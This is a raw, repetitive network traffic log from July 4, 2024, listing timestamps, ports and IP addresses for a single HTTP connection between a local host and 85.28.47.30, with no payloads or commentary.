Jul 4, 2024 20:34:03.748294115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748311996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748322964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748348951 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748372078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748383999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748385906 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748394966 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748405933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748418093 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748420000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748430014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748440027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748445988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748476028 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748498917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748509884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748528957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748538971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748543024 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748549938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748569012 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748595953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748614073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748624086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748635054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748644114 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748653889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748656034 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748687029 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748713970 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748723984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748734951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748766899 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748799086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748811007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748821974 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748832941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748838902 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748845100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748862982 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748904943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748929977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748939991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748950005 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748960018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748970032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.748971939 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.748991966 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749017954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749017954 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749027967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749043941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749053955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749061108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749063969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749078035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749080896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749092102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749093056 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749124050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749140024 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749216080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749226093 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749237061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749247074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749259949 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749268055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749278069 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749290943 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749295950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749305964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749310970 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749320030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749342918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749345064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749355078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749356031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749386072 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749399900 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749454975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749465942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749478102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749481916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749492884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749502897 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749511003 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749537945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749541998 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749548912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749558926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749569893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749579906 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749583960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749592066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749603033 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749629021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749670029 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749689102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749699116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749710083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749737978 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749857903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749867916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749877930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749887943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749897957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749907970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749912977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749918938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749931097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749939919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.749948978 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.749989033 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.750076056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750125885 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.750138998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750149965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750185013 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.750193119 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.750255108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750266075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750293970 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.750324965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.750426054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750437021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750446081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750473976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.750523090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.750610113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750619888 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750631094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750642061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750653028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750658035 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.750663042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750675917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.750688076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.750708103 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.750732899 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.751893044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.751943111 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.751961946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.751971960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752007008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.752023935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752033949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752043962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752055883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752083063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752089024 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.752094030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752125025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.752146006 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.752219915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752229929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752238989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752249956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752259970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752260923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.752269983 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.752295017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.752331972 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.753180981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.753227949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.753230095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.753237963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.753273010 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.753295898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.753305912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.753315926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.753325939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.753339052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.753357887 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.753382921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.753495932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.753591061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.813908100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.813925028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.813941956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.813951969 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.813962936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.813973904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.813985109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.813999891 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.814035892 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842298031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842341900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842354059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842387915 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842413902 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842505932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842516899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842526913 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842536926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842547894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842554092 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842585087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842595100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842665911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842677116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842684984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842700958 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842709064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842730045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842740059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842742920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842751026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842772007 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842782021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842808962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842820883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842830896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842842102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842850924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842881918 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842916012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842926979 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842963934 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.842984915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.842994928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843004942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843019962 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843025923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843029976 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843040943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843050003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843053102 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843060017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843071938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843075037 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843081951 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843106031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843112946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843121052 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843127012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843144894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843148947 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843156099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843170881 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843194962 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843319893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843333960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843343973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843353033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843358994 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843364000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843374014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843384027 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843390942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843394041 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843414068 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843430996 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843485117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843501091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843511105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843519926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843523979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843530893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843544960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843552113 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843556881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843576908 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843595028 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.843599081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.843636990 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.879803896 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.884756088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061722994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061738968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061749935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061762094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061779022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061789036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061805010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061814070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061824083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061855078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061866999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061876059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061892033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061902046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061912060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.061912060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.061912060 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.061917067 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061927080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061930895 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.061950922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061961889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061963081 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.061973095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.061996937 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062020063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062051058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062064886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062073946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062083006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062092066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062093973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062103987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062118053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062128067 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062133074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062141895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062153101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062155962 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062174082 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062194109 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062196970 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062207937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062216997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062242031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062259912 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062273026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062283993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062294960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062318087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062344074 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062352896 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062362909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062372923 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062398911 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062426090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062452078 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062463045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062472105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062482119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062493086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062495947 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062525988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:04.062536955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:04.062545061 CEST	49730	80	192.168.2.4	85.28.47.30
